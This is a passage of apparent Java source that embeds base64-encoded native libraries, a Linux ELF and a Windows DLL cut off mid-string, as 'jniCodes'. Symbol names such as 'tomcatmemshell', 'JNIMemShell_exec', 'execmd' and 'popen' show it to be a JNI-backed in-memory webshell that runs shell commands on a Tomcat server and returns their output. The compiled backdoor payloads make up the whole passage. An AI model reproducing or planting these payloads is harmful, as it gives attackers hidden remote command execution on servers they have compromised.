Z2lzdGVyVE1DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAZXhlY21kAHBvcGVuAGZnZXRzAHN0cmNhdABmZW9mAHBjbG9zZQBfX3N0YWNrX2Noa19mYWlsAEphdmFfb3JnX2V4YW1wbGVfdG9tY2F0bWVtc2hlbGxfSk5JX0pOSU1lbVNoZWxsX2V4ZWMAbWVtc2V0AGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjIuNQBHTElCQ18yLjQAAAAAAAIAAwADAAMAAwAAAAMAAwAAAAMAAQABAAEAAQABAAEAAQAAAAAAAAABAAIA1AAAABAAAAAAAAAAdRppCQAAAwD2AAAAEAAAABRpaQ0AAAIAAgEAAAAAAAAQDiAAAAAAAAgAAAAAAAAAUAgAAAAAAAAYDiAAAAAAAAgAAAAAAAAAEAgAAAAAAABYECAAAAAAAAgAAAAAAAAAWBAgAAAAAADgDyAAAAAAAAYAAAABAAAAAAAAAAAAAADoDyAAAAAAAAYAAAAHAAAAAAAAAAAAAADwDyAAAAAAAAYAAAAKAAAAAAAAAAAAAAD4DyAAAAAAAAYAAAALAAAAAAAAAAAAAAAYECAAAAAAAAcAAAACAAAAAAAAAAAAAAAgECAAAAAAAAcAAAADAAAAAAAAAAAAAAAoECAAAAAAAAcAAAAEAAAAAAAAAAAAAAAwECAAAAAAAAcAAAAFAAAAAAAAAAAAAAA4ECAAAAAAAAcAAAAGAAAAAAAAAAAAAABAECAAAAAAAAcAAAANAAAAAAAAAAAAAABIECAAAAAAAAcAAAAIAAAAAAAAAAAAAABQECAAAAAAAAcAAAAJAAAAAAAAAAAAAABIg+wISIsFFQkgAEiFwHQC/9BIg8QIwwD/NSIJIAD/JSQJIAAPH0AA/yUiCSAAaAAAAADp4P////8lGgkgAGgBAAAA6dD/////JRIJIABoAgAAAOnA/////yUKCSAAaAMAAADpsP////8lAgkgAGgEAAAA6aD/////JfoIIABoBQAAAOmQ/////yXyCCAAaAYAAADpgP////8l6gggAGgHAAAA6XD/////JYIIIABmkAAAAAAAAAAASI092QggAFVIjQXRCCAASDn4SInldBlIiwVCCCAASIXAdA1d/+BmLg8fhAAAAAAAXcMPH0AAZi4PH4QAAAAAAEiNPZkIIABIjTWSCCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwUBCCAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD1JCCAAAHUvSIM91wcgAABVSInldAxIiz0qCCAA6D3////oSP///8YFIQggAAFdww8fgAAAAADzw2YPH0QAAFVIieVd6Wb///9VSInlSIHsMDAAAEiJvdjP//9IibXQz///ZEiLBCUoAAAASIlF+DHASIuF2M///0iNNeEBAABIicfouP7//0iJhejP//9Ig73oz///AHVAuAAAAADrYEiLlejP//9IjYXwz///voAAAABIicfoVf7//0iFwHQZSI2V8M///0iLhdDP//9IidZIicfod/7//0iLhejP//9IicfoOP7//4XAdLRIi4Xoz///SInH6PX9//+4AQAAAEiLTfhkSDMMJSgAAAB0BejM/f//ycNVSInlSIHssDAAAEiJvWjP//9IibVgz///SImVWM///2RIiwQlKAAAAEiJRfgxwEiLhWjP//9IiwBIi4BIBQAASIu1WM///0iLjWjP//+6AAAAAEiJz//QSImFcM///0jHhfDP//8AAAAASMeF+M///wAAAABIjYUA0P//uvAvAAC+AAAAAEiJx+hc/f//SI2V8M///0iLhXDP//9IidZIicfoc/3//0jHhYDP//8AAAAASMeFiM///wAAAABIjZWQz///uAAAAAC5CgAAAEiJ1/NIq0iJ+okCSIPCBEiNlfDP//9IjYWAz///SInWSInH6ET9//9Ii4Voz///SIsASIuAOAUAAEiNjYDP//9Ii5Voz///SInOSInX/9BIiYV4z///SIuFeM///0iLTfhkSDMMJSgAAAB0BeiL/P//ycMASIPsCEiDxAjDcgAAARsDOygAAAAEAAAAbPz//0QAAAD8/P//bAAAAOb9//+EAAAAsv7//6QAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAACD8//+QAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAACI/P//CAAAAAAAAAAAAAAAHAAAAFwAAABa/f//zAAAAABBDhCGAkMNBgLHDAcIAAAcAAAAfAAAAAb+//9BAQAAAEEOEIYCQw0GAzwBDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAAAAAAAQCAAAAAAAAAEAAAAAAAAA1AAAAAAAAAAMAAAAAAAAAMgGAAAAAAAADQAAAAAAAABoCgAAAAAAABkAAAAAAAAAEA4gAAAAAAAbAAAAAAAAAAgAAAAAAAAAGgAAAAAAAAAYDiAAAAAAABwAAAAAAAAACAAAAAAAAAD1/v9vAAAAAPABAAAAAAAABQAAAAAAAAD4AwAAAAAAAAYAAAAAAAAAMAIAAAAAAAAKAAAAAAAAAAwBAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAAABAgAAAAAAACAAAAAAAAAMAAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAACAYAAAAAAAAHAAAAAAAAAGAFAAAAAAAACAAAAAAAAACoAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAADAFAAAAAAAA////bwAAAAABAAAAAAAAAPD//28AAAAABAUAAAAAAAD5//9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAPYGAAAAAAAABgcAAAAAAAAWBwAAAAAAACYHAAAAAAAANgcAAAAAAABGBwAAAAAAAFYHAAAAAAAAZgcAAAAAAABYECAAAAAAAEdDQzogKFVidW50dSA3LjUuMC0zdWJ1bnR1MX4xOC4wNCkgNy41LjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEAyAEAAAAAAAAAAAAAAAAAAAAAAAADAAIA8AEAAAAAAAAAAAAAAAAAAAAAAAADAAMAMAIAAAAAAAAAAAAAAAAAAAAAAAADAAQA+AMAAAAAAAAAAAAAAAAAAAAAAAADAAUABAUAAAAAAAAAAAAAAAAAAAAAAAADAAYAMAUAAAAAAAAAAAAAAAAAAAAAAAADAAcAYAUAAAAAAAAAAAAAAAAAAAAAAAADAAgACAYAAAAAAAAAAAAAAAAAAAAAAAADAAkAyAYAAAAAAAAAAAAAAAAAAAAAAAADAAoA4AYAAAAAAAAAAAAAAAAAAAAAAAADAAsAcAcAAAAAAAAAAAAAAAAAAAAAAAADAAwAgAcAAAAAAAAAAAAAAAAAAAAAAAADAA0AaAoAAAAAAAAAAAAAAAAAAAAAAAADAA4AcQoAAAAAAAAAAAAAAAAAAAAAAAADAA8AdAoAAAAAAAAAAAAAAAAAAAAAAAADABAAoAoAAAAAAAAAAAAAAAAAAAAAAAADABEAEA4gAAAAAAAAAAAAAAAAAAAAAAADABIAGA4gAAAAAAAAAAAAAAAAAAAAAAADABMAIA4gAAAAAAAAAAAAAAAAAAAAAAADABQA4A8gAAAAAAAAAAAAAAAAAAAAAAADABUAABAgAAAAAAAAAAAAAAAAAAAAAAADABYAWBAgAAAAAAAAAAAAAAAAAAAAAAADABcAYBAgAAAAAAAAAAAAAAAAAAAAAAADABgAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAwAAAACAAwAgAcAAAAAAAAAAAAAAAAAAA4AAAACAAwAwAcAAAAAAAAAAAAAAAAAACEAAAACAAwAEAgAAAAAAAAAAAAAAAAAADcAAAABABcAYBAgAAAAAAABAAAAAAAAAEYAAAABABIAGA4gAAAAAAAAAAAAAAAAAG0AAAACAAwAUAgAAAAAAAAAAAAAAAAAAHkAAAABABEAEA4gAAAAAAAAAAAAAAAAAJgAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAKYAAAABABAAOAsAAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAAAAAAALQAAAABABYAWBAgAAAAAAAAAAAAAAAAAMEAAAABABMAIA4gAAAAAAAAAAAAAAAAAMoAAAAAAA8AdAoAAAAAAAAAAAAAAAAAAN0AAAABABYAYBAgAAAAAAAAAAAAAAAAAOkAAAABABUAABAgAAAAAAAAAAAAAAAAAP8AAAAgAAAAAAAAAAAAAAAAAAAAAAAAABsBAAASAAwAJgkAAAAAAABBAQAAAAAAAFABAAAQABYAYBAgAAAAAAAAAAAAAAAAAFcBAAASAA0AaAoAAAAAAAAAAAAAAAAAAF0BAAASAAAAAAAAAAAAAAAAAAAAAAAAAHkBAAASAAAAAAAAAAAAAAAAAAAAAAAAAI0BAAASAAAAAAAAAAAAAAAAAAAAAAAAAKEBAAASAAAAAAAAAAAAAAAAAAAAAAAAALQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAMYBAAAgAAAAAAAAAAAAAAAAAAAAAAAAANUBAAASAAwAWggAAAAAAADMAAAAAAAAANwBAAAQABcAaBAgAAAAAAAAAAAAAAAAAOEBAAAQABcAYBAgAAAAAAAAAAAAAAAAAO0BAAASAAAAAAAAAAAAAAAAAAAAAAAAAAACAAASAAAAAAAAAAAAAAAAAAAAAAAAABQCAAAgAAAAAAAAAAAAAAAAAAAAAAAAAC4CAAAiAAAAAAAAAAAAAAAAAAAAAAAAAEoCAAASAAkAyAYAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNzY5OABfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkASk5JTWVtU2hlbGwuYwBfX0ZSQU1FX0VORF9fAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBKYXZhX29yZ19leGFtcGxlX3RvbWNhdG1lbXNoZWxsX0pOSV9KTklNZW1TaGVsbF9leGVjAF9lZGF0YQBfZmluaQBfX3N0YWNrX2Noa19mYWlsQEBHTElCQ18yLjQAcGNsb3NlQEBHTElCQ18yLjIuNQBtZW1zZXRAQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBmZW9mQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBleGVjbWQAX2VuZABfX2Jzc19zdGFydABwb3BlbkBAR0xJQkNfMi4yLjUAc3RyY2F0QEBHTElCQ18yLjIuNQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQBfaW5pdAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAAAAAAAyAEAAAAAAADIAQAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAALgAAAPb//28CAAAAAAAAAPABAAAAAAAA8AEAAAAAAABAAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAADgAAAALAAAAAgAAAAAAAAAwAgAAAAAAADACAAAAAAAAyAEAAAAAAAAEAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABAAAAAAwAAAAIAAAAAAAAA+AMAAAAAAAD4AwAAAAAAAAwBAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAASAAAAP///28CAAAAAAAAAAQFAAAAAAAABAUAAAAAAAAmAAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAAAAAAAFUAAAD+//9vAgAAAAAAAAAwBQAAAAAAADAFAAAAAAAAMAAAAAAAAAAEAAAAAQAAAAgAAAAAAAAAAAAAAAAAAABkAAAABAAAAAIAAAAAAAAAYAUAAAAAAABgBQAAAAAAAKgAAAAAAAAAAwAAAAAAAAAIAAAAAAAAABgAAAAAAAAAbgAAAAQAAABCAAAAAAAAAAgGAAAAAAAACAYAAAAAAADAAAAAAAAAAAMAAAAVAAAACAAAAAAAAAAYAAAAAAAAAHgAAAABAAAABgAAAAAAAADIBgAAAAAAAMgGAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABzAAAAAQAAAAYAAAAAAAAA4AYAAAAAAADgBgAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAfgAAAAEAAAAGAAAAAAAAAHAHAAAAAAAAcAcAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIcAAAABAAAABgAAAAAAAACABwAAAAAAAIAHAAAAAAAA5wIAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACNAAAAAQAAAAYAAAAAAAAAaAoAAAAAAABoCgAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAkwAAAAEAAAACAAAAAAAAAHEKAAAAAAAAcQoAAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAJsAAAABAAAAAgAAAAAAAAB0CgAAAAAAAHQKAAAAAAAALAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAIAAAAAAAAAoAoAAAAAAACgCgAAAAAAAJwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAswAAAA4AAAADAAAAAAAAABAOIAAAAAAAEA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL8AAAAPAAAAAwAAAAAAAAAYDiAAAAAAABgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADLAAAABgAAAAMAAAAAAAAAIA4gAAAAAAAgDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAAOAPIAAAAAAA4A8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANQAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAWAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADdAAAAAQAAAAMAAAAAAAAAWBAgAAAAAABYEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA4wAAAAgAAAADAAAAAAAAAGAQIAAAAAAAYBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOgAAAABAAAAMAAAAAAAAAAAAAAAAAAAAGAQAAAAAAAAKQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAACQEAAAAAAAAKAFAAAAAAAAGgAAACoAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAMBYAAAAAAABQAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIAYAAAAAAAA8QAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=");
            //windows jniCodes
            jniCodes.append("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